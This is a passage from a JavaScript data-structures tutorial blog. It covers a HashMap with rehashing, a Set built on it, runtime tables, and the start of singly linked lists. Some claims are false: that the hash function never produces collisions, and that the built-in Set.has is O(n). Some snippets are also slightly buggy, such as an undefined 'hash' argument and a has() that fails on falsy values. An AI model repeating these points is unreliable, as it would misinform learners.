class="built_in">this</span>.buckets[bucketIndex].length &gt; <span class="number">1</span>) &#123; <span class="built_in">this</span>.collisions++; &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">      <span class="comment">// override existing value</span></span><br><span class="line">      <span class="built_in">this</span>.buckets[bucketIndex][entryIndex].value = value;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// check if a rehash is due</span></span><br><span class="line marked">    <span class="keyword">if</span>(<span class="built_in">this</span>.loadFactor &gt; <span class="number">0</span> &amp;&amp; <span class="built_in">this</span>.getLoadFactor() &gt; <span class="built_in">this</span>.loadFactor) &#123;</span><br><span class="line marked">      <span class="built_in">this</span>.rehash(<span class="built_in">this</span>.buckets.length * <span class="number">2</span>);</span><br><span class="line marked">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  get(key) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123;bucketIndex, entryIndex&#125; = <span class="built_in">this</span>._getIndexes(key);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(entryIndex === <span class="literal">undefined</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.buckets[bucketIndex][entryIndex].value;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  has(key) &#123;</span><br><span class="line">    <span class="keyword">return</span> !!<span class="built_in">this</span>.get(key);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  _getIndexes(key) &#123;</span><br><span class="line">    <span class="keyword">const</span> bucketIndex = <span class="built_in">this</span>._getBucketIndex(key);</span><br><span class="line">    <span class="keyword">const</span> values = <span class="built_in">this</span>.buckets[bucketIndex] || [];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">let</span> entryIndex = <span class="number">0</span>; entryIndex &lt; values.length; entryIndex++) &#123;</span><br><span class="line">      <span class="keyword">const</span> entry = values[entryIndex];</span><br><span class="line">      <span class="keyword">if</span>(entry.key === key) &#123;</span><br><span class="line">        <span class="keyword">return</span> &#123;bucketIndex, entryIndex&#125;;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> &#123;bucketIndex&#125;;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">delete</span>(key) &#123;</span><br><span class="line">    <span class="keyword">const</span> &#123;bucketIndex, entryIndex, keyIndex&#125; = <span class="built_in">this</span>._getIndexes(key);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span>(entryIndex === <span class="literal">undefined</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">this</span>.buckets[bucketIndex].splice(entryIndex, <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">delete</span> <span class="built_in">this</span>.keys[keyIndex];</span><br><span class="line">    <span class="built_in">this</span>.size--;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line marked">  rehash(newCapacity) &#123;</span><br><span class="line marked">    <span class="keyword">const</span> newMap = <span class="keyword">new</span> HashMap(newCapacity);</span><br><span class="line marked"></span><br><span class="line marked">    <span class="built_in">this</span>.keys.forEach(<span class="function"><span class="params">key</span> =&gt;</span> &#123;</span><br><span class="line marked">      <span class="keyword">if</span>(key) &#123;</span><br><span class="line marked">        newMap.set(key.content, <span class="built_in">this</span>.get(key.content));</span><br><span class="line marked">      &#125;</span><br><span class="line marked">    &#125;);</span><br><span class="line marked"></span><br><span class="line marked">    <span class="comment">// update bucket</span></span><br><span class="line marked">    <span class="built_in">this</span>.buckets = newMap.buckets;</span><br><span class="line marked">    <span class="built_in">this</span>.collisions = newMap.collisions;</span><br><span class="line marked">    <span class="comment">// Optional: both `keys` has the same content except that the new one doesn&#x27;t have empty spaces from deletions</span></span><br><span class="line marked">    <span class="built_in">this</span>.keys = newMap.keys;</span><br><span class="line marked">  &#125;</span><br><span class="line"></span><br><span class="line marked">  getLoadFactor() &#123;</span><br><span class="line marked">    <span class="keyword">return</span> <span class="built_in">this</span>.size / <span class="built_in">this</span>.buckets.length;</span><br><span class="line marked">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

</details>

<p>Pay special attention to lines 96 to 114. That’s where the rehash magic happens. We create a new HashMap with doubled capacity.</p>
<p>So, <strong>testing</strong> our new implementation from above ^</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> assert = <span class="built_in">require</span>(<span class="string">&#x27;assert&#x27;</span>);</span><br><span class="line"><span class="keyword">const</span> hashMap = <span class="keyword">new</span> HashMap();</span><br><span class="line"></span><br><span class="line">assert.equal(hashMap.getLoadFactor(), <span class="number">0</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;songs&#x27;</span>, <span class="number">2</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;pets&#x27;</span>, <span class="number">7</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;tests&#x27;</span>, <span class="number">1</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;art&#x27;</span>, <span class="number">8</span>);</span><br><span class="line">assert.equal(hashMap.getLoadFactor(), <span class="number">4</span>/<span class="number">16</span>);</span><br><span class="line"></span><br><span class="line">hashMap.set(<span class="string">&#x27;Pineapple&#x27;</span>, <span class="string">&#x27;Pen Pineapple Apple Pen&#x27;</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;Despacito&#x27;</span>, <span class="string">&#x27;Luis Fonsi&#x27;</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;Bailando&#x27;</span>, <span class="string">&#x27;Enrique Iglesias&#x27;</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;Dura&#x27;</span>, <span class="string">&#x27;Daddy Yankee&#x27;</span>);</span><br><span class="line"></span><br><span class="line">hashMap.set(<span class="string">&#x27;Lean On&#x27;</span>, <span class="string">&#x27;Major Lazer&#x27;</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;Hello&#x27;</span>, <span class="string">&#x27;Adele&#x27;</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;All About That Bass&#x27;</span>, <span class="string">&#x27;Meghan Trainor&#x27;</span>);</span><br><span class="line">hashMap.set(<span class="string">&#x27;This Is What You Came For&#x27;</span>, <span class="string">&#x27;Calvin Harris &#x27;</span>);</span><br><span class="line"></span><br><span class="line">assert.equal(hashMap.collisions, <span class="number">2</span>);</span><br><span class="line">assert.equal(hashMap.getLoadFactor(), <span class="number">0.75</span>);</span><br><span class="line">assert.equal(hashMap.buckets.length, <span class="number">16</span>);</span><br><span class="line"></span><br><span class="line">hashMap.set(<span class="string">&#x27;Wake Me Up&#x27;</span>, <span class="string">&#x27;Avicii&#x27;</span>); <span class="comment">// &lt;--- Trigger REHASH</span></span><br><span class="line"></span><br><span class="line">assert.equal(hashMap.collisions, <span class="number">0</span>);</span><br><span class="line">assert.equal(hashMap.getLoadFactor(), <span class="number">0.40625</span>);</span><br><span class="line">assert.equal(hashMap.buckets.length, <span class="number">32</span>);</span><br></pre></td></tr></table></figure>

<p>Take notice that after we add the 12th item, the load factor gets beyond 0.75, so a rehash is triggered and doubles the capacity (from 16 to 32). Also, you can see how the number of collisions improves from 2 to 0!</p>
<p>This implementation is good enough to help us figure out the runtime of standard operations like insert/search/delete/edit.</p>
<p>To sum up, the performance of a HashMap will be given by:</p>
<ol>
<li>The hash function that every key produces for different output.</li>
<li>Size of the bucket to hold data.</li>
</ol>
<p>We nailed both 🔨. We have a decent hash function that produces different outputs for different data. Two distinct data will never return the same code. Also, we have a rehash function that automatically grows the capacity as needed. That’s great!</p>
<h3 id="Insert-element-on-a-HashMap-runtime"><a href="#Insert-element-on-a-HashMap-runtime" class="headerlink" title="Insert element on a HashMap runtime"></a>Insert element on a HashMap runtime</h3><p>Inserting an element on a HashMap requires two things: a key and a value. We could use our <a href="#DecentHashMap">DecentHashMap</a> data structure that we develop or use the built-in as follows:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">insert</span>(<span class="params">object, key, value</span>) </span>&#123;</span><br><span class="line">  object[key] = value;</span><br><span class="line">  <span class="keyword">return</span> object;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> object = &#123;&#125;;</span><br><span class="line"><span class="built_in">console</span>.log(insert(hash, <span class="string">&#x27;word&#x27;</span>, <span class="number">1</span>)); <span class="comment">// =&gt; &#123; word: 1 &#125;</span></span><br></pre></td></tr></table></figure>

<p>In modern JavaScript, you can use <code>Map</code>s.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">insertMap</span>(<span class="params">map, key, value</span>) </span>&#123;</span><br><span class="line">  map.set(key, value);</span><br><span class="line">  <span class="keyword">return</span> map;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> map = <span class="keyword">new</span> <span class="built_in">Map</span>();</span><br><span class="line"><span class="built_in">console</span>.log(insertMap(map, <span class="string">&#x27;word&#x27;</span>, <span class="number">1</span>)); <span class="comment">// Map &#123; &#x27;word&#x27; =&gt; 1 &#125;</span></span><br></pre></td></tr></table></figure>

<p><strong>Note:</strong> We will use the <code>Map</code> rather than the regular <code>Object</code>, since the Map’s key could be anything while on Object’s key can only be string or number. Also, <code>Map</code>s keeps the order of insertion.</p>
<p>Behind the scenes, the <code>Map.set</code> just insert elements into an array (take a look at <a href="#DecentHashMap"><code>DecentHashMap.set</code></a>). So, similar to <code>Array.push</code> we have that:</p>
<blockquote>
<p>Insert an element in HashMap runtime is <em>O(1)</em>. If rehash is needed, then it will take <em>O(n)</em></p>
</blockquote>
<p>Our implementation with <a href="#HashMapWithRehash">rehash</a> functionality will keep collisions to the minimum. The rehash operation takes <em><code>O(n)</code></em>, but it doesn’t happen all the time, only when it is needed.</p>
<h3 id="Search-Access-an-element-on-a-HashMap-runtime"><a href="#Search-Access-an-element-on-a-HashMap-runtime" class="headerlink" title="Search/Access an element on a HashMap runtime"></a>Search/Access an element on a HashMap runtime</h3><p>This is the <code>HashMap.get</code> function that we use to get the value associated with a key. Let’s evaluate the implementation from <a href="#DecentHashMap"><code>DecentHashMap.get</code></a>):</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">get(key) &#123;</span><br><span class="line">  <span class="keyword">const</span> hashIndex = <span class="built_in">this</span>.getIndex(key);</span><br><span class="line marked">  <span class="keyword">const</span> values = <span class="built_in">this</span>.array[hashIndex];</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> index = <span class="number">0</span>; index &lt; values.length; index++) &#123;</span><br><span class="line">    <span class="keyword">const</span> entry = values[index];</span><br><span class="line">    <span class="keyword">if</span>(entry.key === key) &#123;</span><br><span class="line">      <span class="keyword">return</span> entry.value</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>If there’s no collision, then <code>values</code> will only have one value, and the access time would be <em><code>O(1)</code></em>. But, we know there will be collisions. If the initial capacity is too small and the hash function is terrible like <a href="#NaiveHashMap">NaiveHashMap.hash</a>, then most of the elements will end up in a few buckets <em><code>O(n)</code></em>.</p>
<blockquote>
<p>HashMap access operation has a runtime of <em><code>O(1)</code></em> on average and worst-case of <em><code>O(n)</code></em>.</p>
</blockquote>
<p><strong>Advanced Note:</strong> Another idea to reduce the time to get elements from <em>O(n)</em> to <em>O(log n)</em> is to use a <em>binary search tree</em> instead of an array. Actually, <a href="http://hg.openjdk.java.net/jdk9/jdk9/jdk/file/f08705540498/src/java.base/share/classes/java/util/HashMap.java#l145">Java’s HashMap implementation</a> switches from an array to a tree when a bucket has more than <a href="http://hg.openjdk.java.net/jdk9/jdk9/jdk/file/f08705540498/src/java.base/share/classes/java/util/HashMap.java#l257">8 elements</a>.</p>
<h3 id="Edit-Delete-element-on-a-HashMap-runtime"><a href="#Edit-Delete-element-on-a-HashMap-runtime" class="headerlink" title="Edit/Delete element on a HashMap runtime"></a>Edit/Delete element on a HashMap runtime</h3><p>Editing (<code>HashMap.set</code>) and deleting (<code>HashMap.delete</code>) key/value pairs have an <strong>amortized</strong> runtime of <em><code>O(1)</code></em>. In the case of many collisions, we could face an <em><code>O(n)</code></em> as a worst-case. However, with our rehash operation, we can mitigate that risk.</p>
<blockquote>
<p>HashMap edits and delete operations has a runtime of <em><code>O(1)</code></em> on average and worst-case of <em><code>O(n)</code></em>.</p>
</blockquote>
<h3 id="HashMap-operations-time-complexity"><a href="#HashMap-operations-time-complexity" class="headerlink" title="HashMap operations time complexity"></a>HashMap operations time complexity</h3><p>We can sum up the arrays time complexity as follows:</p>
<p><strong>HashMap Time Complexities</strong></p>
<table>
<thead>
<tr>
<th>Operation</th>
<th>Worst</th>
<th>Amortized</th>
<th>Comments</th>
</tr>
</thead>
<tbody><tr>
<td>Access/Search (<code>HashMap.get</code>)</td>
<td><em><code>O(n)</code></em></td>
<td><em><code>O(1)</code></em></td>
<td><em><code>O(n)</code></em> is an extreme case when there are too many collisions</td>
</tr>
<tr>
<td>Insert/Edit (<code>HashMap.set</code>)</td>
<td><em><code>O(n)</code></em></td>
<td><em><code>O(1)</code></em></td>
<td><em><code>O(n)</code></em> only happens with rehash when the Hash is 0.75 full</td>
</tr>
<tr>
<td>Delete (<code>HashMap.delete</code>)</td>
<td><em><code>O(n)</code></em></td>
<td><em><code>O(1)</code></em></td>
<td><em><code>O(n)</code></em> is an extreme case when there are too many collisions</td>
</tr>
</tbody></table>
<h2 id="Sets"><a href="#Sets" class="headerlink" title="Sets"></a>Sets</h2><p>Sets are very similar to arrays. The difference is that they don’t allow duplicates.</p>
<p>How can we implement a Set (Array without duplicates)? We could use an array and check if an element is there before inserting a new one. But the running time of checking if a value is already there is <em><code>O(n)</code></em>. Can we do better than that? We develop the <code>Map</code> with an amortized run time of <em><code>O(1)</code></em>!</p>
<!-- The best way to learn how something works is to implement it ourselves. We are also going to explore the built-in `Set` in JavaScript. -->

<h3 id="Set-Implementation"><a href="#Set-Implementation" class="headerlink" title="Set Implementation"></a>Set Implementation</h3><p>We could use the JavaScript built-in <code>Set</code>. However, if we implement it by ourselves, it’s more logical to deduct the runtimes. We are going to use the <a href="#HashMapWithRehash">optimized HashMap</a> with rehash functionality.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> HashMap = <span class="built_in">require</span>(<span class="string">&#x27;../hash-maps/hash-map&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MySet</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>() &#123;</span><br><span class="line">    <span class="built_in">this</span>.hashMap = <span class="keyword">new</span> HashMap();</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  add(value) &#123;</span><br><span class="line">    <span class="built_in">this</span>.hashMap.set(value);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  has(value) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.hashMap.has(value);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">get</span> <span class="title">size</span>() &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.hashMap.size;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">delete</span>(value) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.hashMap.delete(value);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  entries() &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.hashMap.keys.reduce(<span class="function">(<span class="params">acc, key</span>) =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">if</span>(key !== <span class="literal">undefined</span>) &#123;</span><br><span class="line">        acc.push(key.content);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">return</span> acc</span><br><span class="line">    &#125;, []);</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>We used <code>HashMap.set</code> to add the set elements without duplicates. We use the key as the value, and since the hash map’s keys are unique, we are all set.</p>
<p>Checking if an element is already there can be done using the <code>hashMap.has</code>, which has an amortized runtime of <em><code>O(1)</code></em>. Most operations would be an amortized constant time except for getting the <code>entries</code>, <em><code>O(n)</code></em>.</p>
<p>Note: The JS built-in <code>Set.has</code> has a runtime of <em>O(n)</em> since it uses a regular list of elements and checks each one at a time. You can see the <code>Set.has</code> algorithm <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-set.prototype.has">here</a></p>
<p>Here some examples how to use it:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> assert = <span class="built_in">require</span>(<span class="string">&#x27;assert&#x27;</span>);</span><br><span class="line"><span class="comment">// const set = new Set(); // Using the built-in</span></span><br><span class="line"><span class="keyword">const</span> set = <span class="keyword">new</span> MySet(); <span class="comment">// Using our own implementation</span></span><br><span class="line"></span><br><span class="line">set.add(<span class="string">&#x27;one&#x27;</span>);</span><br><span class="line">set.add(<span class="string">&#x27;uno&#x27;</span>);</span><br><span class="line">set.add(<span class="string">&#x27;one&#x27;</span>); <span class="comment">// should NOT add this one twice</span></span><br><span class="line"></span><br><span class="line">assert.equal(set.has(<span class="string">&#x27;one&#x27;</span>), <span class="literal">true</span>);</span><br><span class="line">assert.equal(set.has(<span class="string">&#x27;dos&#x27;</span>), <span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line">assert.equal(set.size, <span class="number">2</span>);</span><br><span class="line"><span class="comment">// assert.deepEqual(Array.from(set), [&#x27;one&#x27;, &#x27;uno&#x27;]);</span></span><br><span class="line"></span><br><span class="line">assert.equal(set.delete(<span class="string">&#x27;one&#x27;</span>), <span class="literal">true</span>);</span><br><span class="line">assert.equal(set.delete(<span class="string">&#x27;one&#x27;</span>), <span class="literal">false</span>);</span><br><span class="line">assert.equal(set.has(<span class="string">&#x27;one&#x27;</span>), <span class="literal">false</span>);</span><br><span class="line">assert.equal(set.size, <span class="number">1</span>);</span><br></pre></td></tr></table></figure>

<p>You should be able to use <code>MySet</code> and the built-in <code>Set</code> interchangeably for these examples.</p>
<h3 id="Set-Operations-runtime"><a href="#Set-Operations-runtime" class="headerlink" title="Set Operations runtime"></a>Set Operations runtime</h3><p>From our Set implementation using a HashMap, we can sum up the time complexity as follows (very similar to the HashMap):</p>
<p><strong>Set Time Complexities</strong></p>
<table>
<thead>
<tr>
<th>Operation</th>
<th>Worst</th>
<th>Amortized</th>
<th>Comments</th>
</tr>
</thead>
<tbody><tr>
<td>Access/Search (<code>Set.has</code>)</td>
<td><em><code>O(n)</code></em></td>
<td><em><code>O(1)</code></em></td>
<td><em><code>O(n)</code></em> is an extreme case when there are too many collisions</td>
</tr>
<tr>
<td>Insert/Edit (<code>Set.add</code>)</td>
<td><em><code>O(n)</code></em></td>
<td><em><code>O(1)</code></em></td>
<td><em><code>O(n)</code></em> only happens with <em>rehash</em> when the Hash is 0.75 full</td>
</tr>
<tr>
<td>Delete (<code>Set.delete</code>)</td>
<td><em><code>O(n)</code></em></td>
<td><em><code>O(1)</code></em></td>
<td><em><code>O(n)</code></em> is an extreme case when there are too many collisions</td>
</tr>
</tbody></table>
<h2 id="Linked-Lists"><a href="#Linked-Lists" class="headerlink" title="Linked Lists"></a>Linked Lists</h2><p>A linked list is a data structure where every element is connected to the next one.</p>
<img src="/images/linked-list.jpg" class="" title="LinkedList">

<p>The linked list is the first data structure that we are going to implement without using an array. Instead, we will use a <code>node</code> that holds a <code>value</code> and points to the next element.</p>
<figure class="highlight js"><figcaption><span>node.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Node</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>(value) &#123;</span><br><span class="line">    <span class="built_in">this</span>.value = value;</span><br><span class="line">    <span class="built_in">this</span>.next = <span class="literal">null</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>When we have a chain of nodes where each one points to the next one, we a <strong>Singly Linked list</strong>.</p>
<h3 id="Singly-Linked-Lists"><a href="#Singly-Linked-Lists" class="headerlink" title="Singly Linked Lists"></a>Singly Linked Lists</h3><p>For a singly linked list, we only have to worry about every element referencing the next one.</p>
<p>We start by constructing the root or head element.</p>
<figure class="highlight js"><figcaption><span>linked-list.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">LinkedList</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>() &#123;</span><br><span class="line">    <span class="built_in">this</span>.root = <span class="literal">null</span>; <span class="comment">// first/head/root element</span></span><br><span class="line">    <span class="built_in">this</span>.size = <span class="number">0</span>; <span class="comment">// total number of elements in the list</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>There are four basic operations that we can do in every Linked List:</p>
<ol>
<li><code>addLast</code>: appends an element to the end of the list (tail)</li>
<li><code>removeLast</code>: deletes element to the end of the list</li>
<li><code>addFirst</code>: Adds an element to the beginning of the list (head)</li>
<li><code>removeFirst</code>: Removes an element from the start of the list (head/root)</li>
</ol>
<p><strong>Adding/Removing an element at the end of a linked list</strong></p>
<p>There are two primary cases:</p>
<ol>
<li>If the list first (root/head) doesn’t have any element yet, we make this node the head of the list.</li>
<li>Contrary, if the list already has items, then we have to iterate until finding the last one and appending our new node to the end.</li>
</ol>
<p><a id="SinglyLinkedList.addLast"></a></p>
<figure class="highlight js"><figcaption><span>LinkedList.prototype.addLast</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">addLast(value) &#123; <span class="comment">// similar Array.push</span></span><br><span class="line">  <span class="keyword">const</span> node = <span class="keyword">new</span> Node(value);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(<span class="built_in">this</span>.root) &#123;</span><br><span class="line">    <span class="keyword">let</span> currentNode = <span class="built_in">this</span>.root;</span><br><span class="line">    <span class="keyword">while</span>(currentNode &amp;&amp; currentNode.next) &#123;</span><br><span class="line">      currentNode = currentNode.next;</span><br><span class="line">    &#125;</span><br><span class="line">    currentNode.next = node;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.root = node;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>What’s the runtime of this code? If it is the first element, then adding to the root is <em>O(1)</em>. However, finding the last item is <em>O(n)</em>.</p>
<p>Now, removing an element from the end of the list has a similar code. We have to find the current before last and make its <code>next</code> reference <code>null</code>.</p>
<p><a id="SinglyLinkedList.removeLast"></a></p>
<figure class="highlight js"><figcaption><span>LinkedList.prototype.removeLast</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">removeLast() &#123;</span><br><span class="line">  <span class="keyword">let</span> current = <span class="built_in">this</span>.root;</span><br><span class="line">  <span class="keyword">let</span> target;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(current &amp;&amp; current.next) &#123;</span><br><span class="line">    <span class="keyword">while</span>(current &amp;&amp; current.next &amp;&amp; current.next.next) &#123;</span><br><span class="line">      current = current.next;</span><br><span class="line">    &#125;</span><br><span class="line">    target = current.next;</span><br><span class="line marked">    current.next = <span class="literal">null</span>;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.root = <span class="literal">null</span>;</span><br><span class="line">    target = current;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(target) &#123;</span><br><span class="line">    <span class="keyword">return</span> target.value;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>The runtime again is <em>O(n)</em> because we have to iterate until the second-last element and remove the reference to the last (line 10).</p>
<p><strong>Adding/Removing an element from the beginning of a linked list</strong></p>
<p><a id="SinglyLinkedList.removeFirst"></a></p>
<p>Adding an element to the head of the list is like this:</p>
<figure class="highlight js"><figcaption><span>LinkedList.addFirst</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">  * Adds an element to the beginning of the list. Similar to Array.unshift</span></span><br><span class="line"><span class="comment">  * Runtime: O(1)</span></span><br><span class="line"><span class="comment">  * <span class="doctag">@param <span class="type">&#123;any&#125;</span> <span class="variable">value</span></span></span></span><br><span class="line"><span class="comment">  */</span></span><br><span class="line">addFirst(value) &#123;</span><br><span class="line">  <span class="keyword">const</span> node = <span class="keyword">new</span> Node(value);</span><br><span class="line">  node.next = <span class="built_in">this</span>.root;</span><br><span class="line">  <span class="built_in">this</span>.root = node;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Adding and removing elements from the beginning is a constant time because we hold a reference to the first element:</p>
